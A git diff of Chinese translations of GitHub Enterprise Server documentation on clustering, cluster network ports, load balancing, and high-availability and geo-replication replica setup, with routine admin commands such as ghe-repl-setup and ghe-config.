+2. 在左侧边栏中，单击 **Vulnerabilities**。 ![站点管理员边栏中的 Vulnerabilities 选项卡](/assets/images/enterprise/business-accounts/vulnerabilities-tab.png)
+3. 要同步漏洞数据，请单击 **Sync Vulnerabilities now**。 ![Sync vulnerabilities now 按钮](/assets/images/enterprise/site-admin-settings/sync-vulnerabilities-button.png)
diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/about-clustering.md b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/about-clustering.md
index 77aa3f9b25..fec293b249 100644
--- a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/about-clustering.md
+++ b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/about-clustering.md
@@ -1,6 +1,6 @@
 ---
-title: About clustering
-intro: '{% data variables.product.prodname_ghe_server %} clustering allows services that make up {% data variables.product.prodname_ghe_server %} to be scaled out across multiple nodes.'
+title: 关于集群
+intro: '{% data variables.product.prodname_ghe_server %} 集群允许组成 {% data variables.product.prodname_ghe_server %} 的服务跨多个节点进行扩展。'
 redirect_from:
   - /enterprise/admin/clustering/overview
   - /enterprise/admin/clustering/about-clustering
@@ -14,22 +14,23 @@ topics:
   - Clustering
   - Enterprise
 ---
-## Clustering architecture
 
-{% data variables.product.prodname_ghe_server %} is comprised of a set of services. In a cluster, these services run across multiple nodes and requests are load balanced between them. Changes are automatically stored with redundant copies on separate nodes. Most of the services are equal peers with other instances of the same service. The exceptions to this are the `mysql-server` and `redis-server` services. These operate with a single _primary_ node with one or more _replica_ nodes.
+## 集群架构
 
-Learn more about [services required for clustering](/enterprise/{{ currentVersion }}/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering).
+{% data variables.product.prodname_ghe_server %} 由一组服务组成。 在集群中，这些服务跨多个节点运行，请求在它们之间进行负载均衡。 更改会与冗余副本一起自动存储在到单独的节点上。 大多数服务与相同服务的其他实例是对等的。 这种情况的例外是 `mysql-server` 和 `redis-server` 服务。 它们使用具有一个或多个_副本_节点的单个_主_节点来操作。
 
-## Is clustering right for my organization?
+详细了解[群集所需的服务](/enterprise/{{ currentVersion }}/admin/enterprise-management/about-cluster-nodes#services-required-for-clustering)。
 
-{% data reusables.enterprise_clustering.clustering-scalability %} However, setting up a redundant and scalable cluster can be complex and requires careful planning. This additional complexity will need to be planned for during installation, disaster recovery scenarios, and upgrades.
+## 集群是否适合我的组织？
 
-{% data variables.product.prodname_ghe_server %} requires low latency between nodes and is not intended for redundancy across geographic locations.
+{% data reusables.enterprise_clustering.clustering-scalability %} 但是，设置冗余和可扩展的集群可能很复杂，需要仔细规划。 在安装、灾难恢复场景和升级期间，需要计划这种额外的复杂性。
 
-Clustering provides redundancy, but it is not intended to replace a High Availability configuration. For more information, see [High Availability configuration](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability). A primary/secondary failover configuration is far simpler than clustering and will serve the needs of many organizations. For more information, see [Differences between Clustering and High Availability](/enterprise/{{ currentVersion }}/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/).
+{% data variables.product.prodname_ghe_server %} 要求节点之间保持较低的延迟，不适用于跨地理位置的冗余。
+
+集群提供了冗余功能，但不适用于替换高可用性配置。 更多信息请参阅[高可用性配置](/enterprise/{{ currentVersion }}/admin/guides/installation/configuring-github-enterprise-server-for-high-availability)。 主设备/辅助设备故障切换配置远比集群简单，可以满足许多组织的需求。 更多信息请参阅[集群与高可用性之间的差异](/enterprise/{{ currentVersion }}/admin/guides/clustering/differences-between-clustering-and-high-availability-ha/)。
 
 {% data reusables.package_registry.packages-cluster-support %}
 
-## How do I get access to clustering?
+## 如何获得集群？
 
-Clustering is designed for specific scaling situations and is not intended for every organization. If clustering is something you'd like to consider, please contact your dedicated representative or {% data variables.contact.contact_enterprise_sales %}.
+集群针对特定扩展情况而设计，并不一定适用于每个组织。 如果想要考虑集群，请联系您的专业代表或 {% data variables.contact.contact_enterprise_sales %}。
diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
index 9ae58ffd19..7a701595ea 100644
--- a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
+++ b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/cluster-network-configuration.md
@@ -1,6 +1,6 @@
 ---
-title: Cluster network configuration
-intro: '{% data variables.product.prodname_ghe_server %} clustering relies on proper DNS name resolution, load balancing, and communication between nodes to operate properly.'
+title: 群集网络配置
+intro: '{% data variables.product.prodname_ghe_server %} 集群依靠正确的 DNS 名称解析、负载均衡以及节点之间的通信来正常运行。'
 redirect_from:
   - /enterprise/admin/clustering/cluster-network-configuration
   - /enterprise/admin/enterprise-management/cluster-network-configuration
@@ -13,107 +13,108 @@ topics:
   - Enterprise
   - Infrastructure
   - Networking
-shortTitle: Configure a cluster network
+shortTitle: 配置集群网络
 ---
-## Network considerations
 
-The simplest network design for clustering is to place the nodes on a single LAN. If a cluster must span subnetworks, we do not recommend configuring any firewall rules between the networks. The latency between nodes should be less than 1 millisecond.
+## 网络考虑因素
 
-{% ifversion ghes %}For high availability, the latency between the network with the active nodes and the network with the passive nodes must be less than 70 milliseconds. We don't recommend configuring a firewall between the two networks.{% endif %}
+对于集群而言，最简单的网络设计是将节点置于单个 LAN 上。 如果群集必须跨子网，我们不建议在网络之间配置任何防火墙规则。 节点之间的延迟应小于 1 毫秒。
 
-### Application ports for end users
+{% ifversion ghes %}为获取高可用性，具有主动节点的网络与具有被动节点的网络之间的延迟必须小于 70 毫秒。 我们不建议在两个网络之间配置防火墙。{% endif %}
 
-Application ports provide web application and Git access for end users.
+### 最终用户的应用程序端口
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| 22/TCP    | Git over SSH | Yes |
-| 25/TCP    | SMTP | Requires STARTTLS |
-| 80/TCP    | HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 443/TCP   | HTTPS | Yes |
-| 9418/TCP  | Simple Git protocol port<br>(Disabled in private mode) | No |
+应用程序端口为最终用户提供 Web 应用程序和 Git 访问。
 
-### Administrative ports
+| 端口       | 描述                               | 加密                                  |
+|:-------- |:-------------------------------- |:----------------------------------- |
+| 22/TCP   | 通过 SSH 访问 Git                    | 是                                   |
+| 25/TCP   | SMTP                             | 需要 STARTTLS                         |
+| 80/TCP   | HTTP                             | 否<br>（启用 SSL 时，此端口重定向到 HTTPS） |
+| 443/TCP  | HTTPS                            | 是                                   |
+| 9418/TCP | 简单的 Git 协议端口<br>（在私有模式下禁用） | 否                                   |
 
-Administrative ports are not required for basic application use by end users.
+### 管理端口
 
-| Port     | Description     | Encrypted  |
-| :------------- | :------------- | :------------- |
-| ICMP      | ICMP Ping | No |
-| 122/TCP   | Administrative SSH | Yes |
-| 161/UDP    | SNMP | No |
-| 8080/TCP  | Management Console HTTP | No<br>(When SSL is enabled this port redirects to HTTPS) |
-| 8443/TCP  | Management Console HTTPS | Yes |
+最终用户在使用基本应用程序时不需要管理端口。
 
-### Cluster communication ports
+| 端口       | 描述                       | 加密                                  |
+|:-------- |:------------------------ |:----------------------------------- |
+| ICMP     | ICMP Ping                | 否                                   |
+| 122/TCP  | 管理 SSH                   | 是                                   |
+| 161/UDP  | SNMP                     | 否                                   |
+| 8080/TCP | Management Console HTTP  | 否<br>（启用 SSL 时，此端口重定向到 HTTPS） |
+| 8443/TCP | Management Console HTTPS | 是                                   |
 
-If a network level firewall is in place between nodes, these ports will need to be accessible. The communication between nodes is not encrypted. These ports should not be accessible externally.
+### 集群通信端口
 
-| Port     | Description     |
-| :------------- | :------------- |
-| 1336/TCP  | Internal API |
-| 3033/TCP  | Internal SVN access |
-| 3037/TCP  | Internal SVN access |
-| 3306/TCP  | MySQL |
-| 4486/TCP  | Governor access |
-| 5115/TCP  | Storage backend |
-| 5208/TCP  | Internal SVN access |
-| 6379/TCP  | Redis |
-| 8001/TCP  | Grafana |
-| 8090/TCP  | Internal GPG access |
-| 8149/TCP  | GitRPC file server access |
-| 8300/TCP | Consul |
-| 8301/TCP | Consul |
-| 8302/TCP | Consul |
-| 9000/TCP  | Git Daemon |
-| 9102/TCP  | Pages file server |
-| 9105/TCP  | LFS server |
-| 9200/TCP  | Elasticsearch |
-| 9203/TCP | Semantic code service |
-| 9300/TCP  | Elasticsearch |
-| 11211/TCP | Memcache |
-| 161/UDP   | SNMP |
-| 8125/UDP  | Statsd |
-| 8301/UDP | Consul |
-| 8302/UDP | Consul |
-| 25827/UDP | Collectd |
+如果节点之间存在网络级防火墙，则需要访问这些端口。 节点之间的通信未加密。 这些端口不应从外部访问。
 
-## Configuring a load balancer
+| 端口        | 描述             |
+|:--------- |:-------------- |
+| 1336/TCP  | 内部 API         |
+| 3033/TCP  | 内部 SVN 访问      |
+| 3037/TCP  | 内部 SVN 访问      |
+| 3306/TCP  | MySQL          |
+| 4486/TCP  | 管理者访问          |
+| 5115/TCP  | 存储后端           |
+| 5208/TCP  | 内部 SVN 访问      |
+| 6379/TCP  | Redis          |
+| 8001/TCP  | Grafana        |
+| 8090/TCP  | 内部 GPG 访问      |
+| 8149/TCP  | GitRPC 文件服务器访问 |
+| 8300/TCP  | Consul         |
+| 8301/TCP  | Consul         |
+| 8302/TCP  | Consul         |
+| 9000/TCP  | Git Daemon     |
+| 9102/TCP  | 页面文件服务器        |
+| 9105/TCP  | LFS 服务器        |
+| 9200/TCP  | Elasticsearch  |
+| 9203/TCP  | 语义代码服务         |
+| 9300/TCP  | Elasticsearch  |
+| 11211/TCP | Memcache       |
+| 161/UDP   | SNMP           |
+| 8125/UDP  | Statsd         |
+| 8301/UDP  | Consul         |
+| 8302/UDP  | Consul         |
+| 25827/UDP | Collectd       |
 
- We recommend an external TCP-based load balancer that supports the PROXY protocol to distribute traffic across nodes. Consider these load balancer configurations:
+## 配置负载均衡器
 
- - TCP ports (shown below) should be forwarded to nodes running the `web-server` service. These are the only nodes that serve external client requests.
- - Sticky sessions shouldn't be enabled.
+ 我们建议使用基于 TCP 的外部负载均衡器，它支持 PROXY 协议来跨节点分配流量。 请考虑以下负载均衡器配置：
+
+ - 应将 TCP 端口（如下所示）转发到运行 `web-server` 服务的节点。 这些是提供外部客户端请求的唯一节点。
+ - 不应启用粘性会话。
 
 {% data reusables.enterprise_installation.terminating-tls %}
 
-## Handling client connection information
+## 处理客户端连接信息
 
-Because client connections to the cluster come from the load balancer, the client IP address can be lost. To properly capture the client connection information, additional consideration is required.
+由于客户端与集群的连接来自负载均衡器，因此客户端 IP 地址可能会丢失。 要正确捕获客户端连接信息，需要考虑其他因素。
 
 {% data reusables.enterprise_clustering.proxy_preference %}
 
 {% data reusables.enterprise_clustering.proxy_xff_firewall_warning %}
 
-### Enabling PROXY support on {% data variables.product.prodname_ghe_server %}
+### 在 {% data variables.product.prodname_ghe_server %} 上启用 PROXY 支持
 
-We strongly recommend enabling PROXY support for both your instance and the load balancer.
+我们强烈建议您为实例和负载均衡器启用 PROXY 支持。
 
 {% data reusables.enterprise_installation.proxy-incompatible-with-aws-nlbs %}
 
- - For your instance, use this command:
+ - 对于您的实例，请使用以下命令：
   ```shell
   $ ghe-config 'loadbalancer.proxy-protocol' 'true' && ghe-cluster-config-apply
   ```
-  - For the load balancer, use the instructions provided by your vendor.
+  - 对于负载均衡器，请使用供应商提供的说明。
 
   {% data reusables.enterprise_clustering.proxy_protocol_ports %}
 
-### Enabling X-Forwarded-For support on {% data variables.product.prodname_ghe_server %}
+### 在 {% data variables.product.prodname_ghe_server %} 上启用 X-Forwarded-For 支持
 
 {% data reusables.enterprise_clustering.x-forwarded-for %}
 
-To enable the `X-Forwarded-For` header, use this command:
+要启用 `X-Forwarded-For` 标头，请使用以下命令：
 
 ```shell
 $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
@@ -121,12 +122,12 @@ $ ghe-config 'loadbalancer.http-forward' 'true' && ghe-cluster-config-apply
 
 {% data reusables.enterprise_clustering.without_proxy_protocol_ports %}
 
-### Configuring Health Checks
-Health checks allow a load balancer to stop sending traffic to a node that is not responding if a pre-configured check fails on that node. If a cluster node fails, health checks paired with redundant nodes provides high availability.
+### 配置状态检查
+如果预配置的检查在该节点上失败，则状态检查允许负载均衡器停止向未响应的节点发送流量。 如果集群节点出现故障，则与冗余节点配对的状态检查可提供高可用性。
 
 {% data reusables.enterprise_clustering.health_checks %}
 {% data reusables.enterprise_site_admin_settings.maintenance-mode-status %}
 
-## DNS Requirements
+## DNS 要求
 
 {% data reusables.enterprise_clustering.load_balancer_dns %}
diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/index.md b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/index.md
index 3738fe80e6..cded5d22b7 100644
--- a/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/index.md
+++ b/translations/zh-CN/content/admin/enterprise-management/configuring-clustering/index.md
@@ -1,6 +1,6 @@
 ---
-title: Configuring clustering
-intro: Learn about clustering and differences with high availability.
+title: 配置群集
+intro: 了解具有高可用性的集群和差异。
 redirect_from:
   - /enterprise/admin/clustering/setting-up-the-cluster-instances
   - /enterprise/admin/clustering/managing-a-github-enterprise-server-cluster
diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
index 60b1d3bbae..cdd8c2924a 100644
--- a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
+++ b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/about-high-availability-configuration.md
@@ -1,6 +1,6 @@
 ---
-title: About high availability configuration
-intro: 'In a high availability configuration, a fully redundant secondary {% data variables.product.prodname_ghe_server %} appliance is kept in sync with the primary appliance through replication of all major datastores.'
+title: 关于高可用性配置
+intro: '在高性能配置中，完全冗余的次级 {% data variables.product.prodname_ghe_server %} 设备通过复制所有主要数据存储与主设备保持同步。'
 redirect_from:
   - /enterprise/admin/installation/about-high-availability-configuration
   - /enterprise/admin/enterprise-management/about-high-availability-configuration
@@ -12,58 +12,59 @@ topics:
   - Enterprise
   - High availability
   - Infrastructure
-shortTitle: About HA configuration
+shortTitle: 关于 HA 配置
 ---
-When you configure high availability, there is an automated setup of one-way, asynchronous replication of all datastores (Git repositories, MySQL, Redis, and Elasticsearch) from the primary to the replica appliance.
 
-{% data variables.product.prodname_ghe_server %} supports an active/passive configuration, where the replica appliance runs as a standby with database services running in replication mode but application services stopped.
+配置高可用性时，会自动设置将所有数据存储（Git 仓库、MySQL、Redis 和 Elasticsearch）单向、异步地从主设备复制到副本。
+
+{% data variables.product.prodname_ghe_server %} 支持主动/被动配置，在这些配置下，副本作为备用设备运行，并且数据库服务在复制模式下运行，但应用程序服务将停止。
 
 {% data reusables.enterprise_installation.replica-limit %}
 
-## Targeted failure scenarios
+## 有针对性的故障场景
 
-Use a high availability configuration for protection against:
+使用高可用性配置防护以下问题：
 
 {% data reusables.enterprise_installation.ha-and-clustering-failure-scenarios %}
 
-A high availability configuration is not a good solution for:
+高可用性配置不适用于：
 
-  - **Scaling-out**. While you can distribute traffic geographically using geo-replication, the performance of writes is limited to the speed and availability of the primary appliance. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %}
+  - **扩展**。 虽然可以使用 Geo-replication 将流量分布在不同地理位置，但写入性能受限于主设备的速度和可用性。 For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."{% ifversion ghes > 3.2 %}
   - **CI/CD load**. If you have a large number of CI clients that are geographically distant from your primary instance, you may benefit from configuring a repository cache. For more information, see "[About repository caching](/admin/enterprise-management/caching-repositories/about-repository-caching)."{% endif %}
-  - **Backing up your primary appliance**. A high availability replica does not replace off-site backups in your disaster recovery plan. Some forms of data corruption or loss may be replicated immediately from the primary to the replica. To ensure safe rollback to a stable past state, you must perform regular backups with historical snapshots.
-  - **Zero downtime upgrades**. To prevent data loss and split-brain situations in controlled promotion scenarios, place the primary appliance in maintenance mode and wait for all writes to complete before promoting the replica.
+  - **备份主设备**。 高可用性副本不会替代灾难恢复计划中的非现场备份。 某些形式的数据损坏或数据丢失可能会立即从主设备复制到副本。 为确保安全回滚到稳定的过去状态，必须通过历史快照执行定期备份。
+  - **零停机时间升级**。 为避免受控升级场景下出现数据丢失和裂脑的状况，请先将主设备置于维护模式并等待所有写入操作完成，然后再对副本进行升级。
 
-## Network traffic failover strategies
+## 网络流量故障转移策略
 
-During failover, you must separately configure and manage redirecting network traffic from the primary to the replica.
+在故障转移期间，您必须单独配置和管理从主设备到副本的网络流量的重定向。
 
-### DNS failover
+### DNS 故障转移
 
-With DNS failover, use short TTL values in the DNS records that point to the primary {% data variables.product.prodname_ghe_server %} appliance. We recommend a TTL between 60 seconds and five minutes.
+对于 DNS 故障转移，请使用 DNS 记录中指向主 {% data variables.product.prodname_ghe_server %} 设备的短 TTL 值。 建议的 TTL 值范围为 60 秒到 5 分钟。
 
-During failover, you must place the primary into maintenance mode and redirect its DNS records to the replica appliance's IP address. The time needed to redirect traffic from primary to replica will depend on the TTL configuration and time required to update the DNS records.
+在故障转移期间，必须将主设备置于维护模式，并将其 DNS 记录重定向到副本的 IP 地址。 将流量从主设备重新定向到副本所需的时间将取决于 TTL 配置以及更新 DNS 记录所需的时间。
 
-If you are using geo-replication, you must configure Geo DNS to direct traffic to the nearest replica. For more information, see "[About geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)."
+如果您要使用 Geo-replication，则必须配置 Geo DNS，将流量定向到距离最近的副本。 更多信息请参阅“[关于 Geo-replication](/enterprise/{{ currentVersion }}/admin/guides/installation/about-geo-replication/)”。
 
-### Load balancer
+### 负载均衡器
 
 {% data reusables.enterprise_clustering.load_balancer_intro %} {% data reusables.enterprise_clustering.load_balancer_dns %}
 
-During failover, you must place the primary appliance into maintenance mode. You can configure the load balancer to automatically detect when the replica has been promoted to primary, or it may require a manual configuration change. You must manually promote the replica to primary before it will respond to user traffic. For more information, see "[Using {% data variables.product.prodname_ghe_server %} with a load balancer](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)."
+在故障转移期间，您必须将主设备置于维护模式。 您可以将负载均衡器配置为自动检测副本何时已升级为主设备，或者可能需要手动更改配置。 您必须先将副本手动升级为主设备，随后副本才能对用户流量作出响应。 更多信息请参阅“[结合使用 {% data variables.product.prodname_ghe_server %} 和负载均衡器](/enterprise/{{ currentVersion }}/admin/guides/installation/using-github-enterprise-server-with-a-load-balancer/)”。
 
 {% data reusables.enterprise_installation.monitoring-replicas %}
 
-## Utilities for replication management
+## 用于复制管理的实用程序
 
-To manage replication on {% data variables.product.prodname_ghe_server %}, use these command line utilities by connecting to the replica appliance using SSH.
+要管理 {% data variables.product.prodname_ghe_server %} 上的复制，请使用 SSH 连接到副本，以使用以下命令行实用程序。
 
 ### ghe-repl-setup
 
-The `ghe-repl-setup` command puts a {% data variables.product.prodname_ghe_server %} appliance in replica standby mode.
+`ghe-repl-setup` 命令可将 {% data variables.product.prodname_ghe_server %} 设备置于副本备用模式。
 
- - An encrypted WireGuard VPN tunnel is configured for communication between the two appliances.
- - Database services are configured for replication and started.
- - Application services are disabled. Attempts to access the replica appliance over HTTP, Git, or other supported protocols will result in an "appliance in replica mode" maintenance page or error message.
+ - 配置加密的 WireGuard VPN 隧道以实现两台设备之间的通信。
+ - 配置用于复制的数据库服务并启动。
+ - 禁用应用程序服务。 尝试通过 HTTP、Git 或其他受支持协议访问副本将出现“设备处于副本模式”维护页面或显示错误消息。
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-setup 169.254.1.1
@@ -77,7 +78,7 @@ Run `ghe-repl-start' to start replicating against the newly configured primary.
 
 ### ghe-repl-start
 
-The `ghe-repl-start` command turns on active replication of all datastores.
+`ghe-repl-start` 命令可以启用所有数据存储的主动复制。
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-start
@@ -92,7 +93,7 @@ Use `ghe-repl-status' to monitor replication health and progress.
 
 ### ghe-repl-status
 
-The `ghe-repl-status` command returns an `OK`, `WARNING` or `CRITICAL` status for each datastore replication stream. When any of the replication channels are in a `WARNING` state, the command will exit with the code `1`. Similarly, when any of the channels are in a `CRITICAL` state, the command will exit with the code `2`.
+`ghe-repl-status` 命令可以返回各数据存储复制流的 `OK`、`WARNING` 或 `CRITICAL` 状态。 如果有任何复制通道处于 `WARNING` 状态，命令将停止执行并显示代码 `1`。 同样，如果有任何通道处于 `CRITICAL` 状态，命令将停止执行并显示代码 `2`。
 
 ```shell
 admin@169-254-1-2:~$ ghe-repl-status
@@ -103,7 +104,7 @@ OK: git data is in sync (10 repos, 2 wikis, 5 gists)
 OK: pages data is in sync
 ```
 
-The `-v` and `-vv` options give details about each datastore's replication state:
+`-v` 和 `-vv` 选项可以提供关于各数据存储复制状态的详细信息：
 
 ```shell
 $ ghe-repl-status -v
@@ -144,7 +145,7 @@ OK: pages data is in sync
 
 ### ghe-repl-stop
 
-The `ghe-repl-stop` command temporarily disables replication for all datastores and stops the replication services. To resume replication, use the [ghe-repl-start](#ghe-repl-start) command.
+`ghe-repl-stop` 命令可以暂时禁用所有数据存储的复制并停止复制服务。 要恢复复制，请使用 [ghe-repl-start](#ghe-repl-start) 命令。
 
 ```shell
 admin@168-254-1-2:~$ ghe-repl-stop
@@ -158,7 +159,7 @@ Success: replication was stopped for all services.
 
 ### ghe-repl-promote
 
-The `ghe-repl-promote` command disables replication and converts the replica appliance to a primary. The appliance is configured with the same settings as the original primary and all services are enabled.
+`ghe-repl-promote` 命令可以禁用复制并将副本转换为主设备。 设备会配置为使用与原主设备相同的设置，并启用所有服务。
 
 {% data reusables.enterprise_installation.promoting-a-replica %}
 
@@ -181,9 +182,9 @@ Success: Replica has been promoted to primary and is now accepting requests.
 
 ### ghe-repl-teardown
 
-The `ghe-repl-teardown` command disables replication mode completely, removing the replica configuration.
+`ghe-repl-teardown` 命令可以完全禁用复制模式，并移除副本配置。
 
-## Further reading
+## 延伸阅读
 
-- "[Creating a high availability replica](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)"
-- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)"
\ No newline at end of file
+- “[创建高可用性副本](/enterprise/{{ currentVersion }}/admin/guides/installation/creating-a-high-availability-replica)”
+- "[Network ports](/admin/configuration/configuring-network-settings/network-ports)"
diff --git a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
index 31d4dbeb3f..d9288c2f26 100644
--- a/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
+++ b/translations/zh-CN/content/admin/enterprise-management/configuring-high-availability/creating-a-high-availability-replica.md
@@ -1,6 +1,6 @@
 ---
-title: Creating a high availability replica
-intro: 'In an active/passive configuration, the replica appliance is a redundant copy of the primary appliance. If the primary appliance fails, high availability mode allows the replica to act as the primary appliance, allowing minimal service disruption.'
+title: 创建高可用性副本
+intro: 在主动/被动配置中，副本设备是主设备的冗余副本。 如果主设备发生故障，高可用性模式允许副本作为主设备运行，从而最大限度地减少服务中断。
 redirect_from:
   - /enterprise/admin/installation/creating-a-high-availability-replica
   - /enterprise/admin/enterprise-management/creating-a-high-availability-replica
@@ -12,82 +12,83 @@ topics:
   - Enterprise
   - High availability
   - Infrastructure
-shortTitle: Create HA replica
+shortTitle: 创建 HA 副本
 ---
+
 {% data reusables.enterprise_installation.replica-limit %}
 
-## Creating a high availability replica
+## 创建高可用性副本
 
-1. Set up a new {% data variables.product.prodname_ghe_server %} appliance on your desired platform. The replica appliance should mirror the primary appliance's CPU, RAM, and storage settings. We recommend that you install the replica appliance in an independent environment. The underlying hardware, software, and network components should be isolated from those of the primary appliance. If you are a using a cloud provider, use a separate region or zone. For more information, see ["Setting up a {% data variables.product.prodname_ghe_server %} instance"](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance).
-1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. For more information, see "[Network ports](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)."
-1. In a browser, navigate to the new replica appliance's IP address and upload your {% data variables.product.prodname_enterprise %} license.
+1. 在所需平台上设置新的 {% data variables.product.prodname_ghe_server %} 设备。 副本设备应镜像主设备的 CPU、RAM 和存储设置。 建议您在独立环境中安装副本设备。 底层硬件、软件和网络组件应与主设备的相应部分隔离。 如果要使用云提供商，请使用单独的区域或分区。 更多信息请参阅“[设置 {% data variables.product.prodname_ghe_server %} 实例](/enterprise/{{ currentVersion }}/admin/guides/installation/setting-up-a-github-enterprise-server-instance)”。
+1. Ensure that both the primary appliance and the new replica appliance can communicate with each other over ports 122/TCP and 1194/UDP. 更多信息请参阅“[网络端口](/admin/configuration/configuring-network-settings/network-ports#administrative-ports)”。
+1. 在浏览器中，导航到新副本设备的 IP 地址并上传您的 {% data variables.product.prodname_enterprise %} 许可。
 {% data reusables.enterprise_installation.replica-steps %}
-1. Connect to the replica appliance's IP address using SSH.
+1. 使用 SSH 连接到副本设备的 IP 地址。
   ```shell
   $ ssh -p 122 admin@<em>REPLICA IP</em>
   ```
 {% data reusables.enterprise_installation.generate-replication-key-pair %}
 {% data reusables.enterprise_installation.add-ssh-key-to-primary %}
-1. To verify the connection to the primary and enable replica mode for the new replica, run `ghe-repl-setup` again.
+1. 要验证与主设备的连接并为新副本启用副本模式，请再次运行 `ghe-repl-setup`。
   ```shell
   $ ghe-repl-setup <em>PRIMARY IP</em>
   ```
 {% data reusables.enterprise_installation.replication-command %}
 {% data reusables.enterprise_installation.verify-replication-channel %}
 
-## Creating geo-replication replicas
+## 创建 Geo-replication 副本
 
-This example configuration uses a primary and two replicas, which are located in three different geographic regions. While the three nodes can be in different networks, all nodes are required to be reachable from all the other nodes. At the minimum, the required administrative ports should be open to all the other nodes. For more information about the port requirements, see "[Network Ports](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)."
+此示例配置使用一个主设备和两个副本，它们位于三个不同的地理区域。 由于三个节点可以位于不同网络中，要求所有节点均可从其他所有节点到达。 必需的管理端口至少应向其他所有节点开放。 有关端口要求的更多信息，请参阅“[网络端口](/enterprise/{{ currentVersion }}/admin/guides/installation/network-ports/#administrative-ports)”。
 
-1. Create the first replica the same way you would for a standard two node configuration by running `ghe-repl-setup` on the first replica.
+1. 在第一个副本上运行 `ghe-repl-setup`，采用与创建标准双节点配置相同的方式创建第一个副本。
   ```shell
   (replica1)$ ghe-repl-setup <em>PRIMARY IP</em>
   (replica1)$ ghe-repl-start
   ```
-2. Create a second replica and use the `ghe-repl-setup --add` command. The `--add` flag prevents it from overwriting the existing replication configuration and adds the new replica to the configuration.
+2. 创建第二个副本并使用 `ghe-repl-setup --add` 命令。 `--add` 标志可防止其覆盖现有的复制配置，并将新副本添加到配置中。
   ```shell
   (replica2)$ ghe-repl-setup --add <em>PRIMARY IP</em>
   (replica2)$ ghe-repl-start
   ```
-3. By default, replicas are configured to the same datacenter, and will now attempt to seed from an existing node in the same datacenter. Configure the replicas for different datacenters by setting a different value for the datacenter option. The specific values can be anything you would like as long as they are different from each other. Run the `ghe-repl-node` command on each node and specify the datacenter.
+3. 默认情况下，副本被配置到同一个数据中心，现在将尝试从同一个数据中心中的现有节点播种。 为数据中心选项设置不同的值，通过这种方式为不同的数据中心配置副本。 可以随意设定特定值，只要数值彼此不同即可。 在每个节点上运行 `ghe-repl-node` 命令并指定数据中心。
 
-  On the primary:
+  在主设备上：
   ```shell
   (primary)$ ghe-repl-node --datacenter <em>[PRIMARY DC NAME]</em>
   ```
-  On the first replica:
+  在第一个副本上：
   ```shell
   (replica1)$ ghe-repl-node --datacenter <em>[FIRST REPLICA DC NAME]</em>
   ```
-  On the second replica:
+  在第二个副本上：
   ```shell
   (replica2)$ ghe-repl-node --datacenter <em>[SECOND REPLICA DC NAME]</em>
   ```
   {% tip %}
 
-  **Tip:** You can set the `--datacenter` and `--active` options at the same time.
+  **提示：**您可以同时设置 `--datacenter` 和 `--activity` 选项。
 
   {% endtip %}
-4. An active replica node will store copies of the appliance data and service end user requests. An inactive node will store copies of the appliance data but will be unable to service end user requests. Enable active mode using the `--active` flag or inactive mode using the `--inactive` flag.
+4. 活动副本节点将存储设备数据的副本并为最终用户请求提供服务。 非活动节点将存储设备数据的副本，但无法为最终用户请求提供服务。 使用 `--active` 标志启用活动模式，或使用 `--inactive` 标志启用非活动模式。
 
-  On the first replica:
+  在第一个副本上：
   ```shell
   (replica1)$ ghe-repl-node --active
   ```
-  On the second replica:
+  在第二个副本上：
   ```shell
   (replica2)$ ghe-repl-node --active
   ```
-5. To apply the configuration, use the `ghe-config-apply` command on the primary.
+5. 要应用配置，请在主设备上使用 `ghe-config-apply` 命令。
   ```shell
   (primary)$ ghe-config-apply
   ```
 
-## Configuring DNS for geo-replication
+## 为 Geo-replication 配置 DNS
 
-Configure Geo DNS using the IP addresses of the primary and replica nodes. You can also create a DNS CNAME for the primary node (e.g. `primary.github.example.com`) to access the primary node via SSH or to back it up via `backup-utils`.
+使用主节点和副本节点的 IP 地址配置 Geo DNS。 您还可以为主节点（例如 `primary.github.example.com`）创建 DNS CNAME，以通过 SSH 访问主节点或通过 `backup-utils` 备份主节点。
 
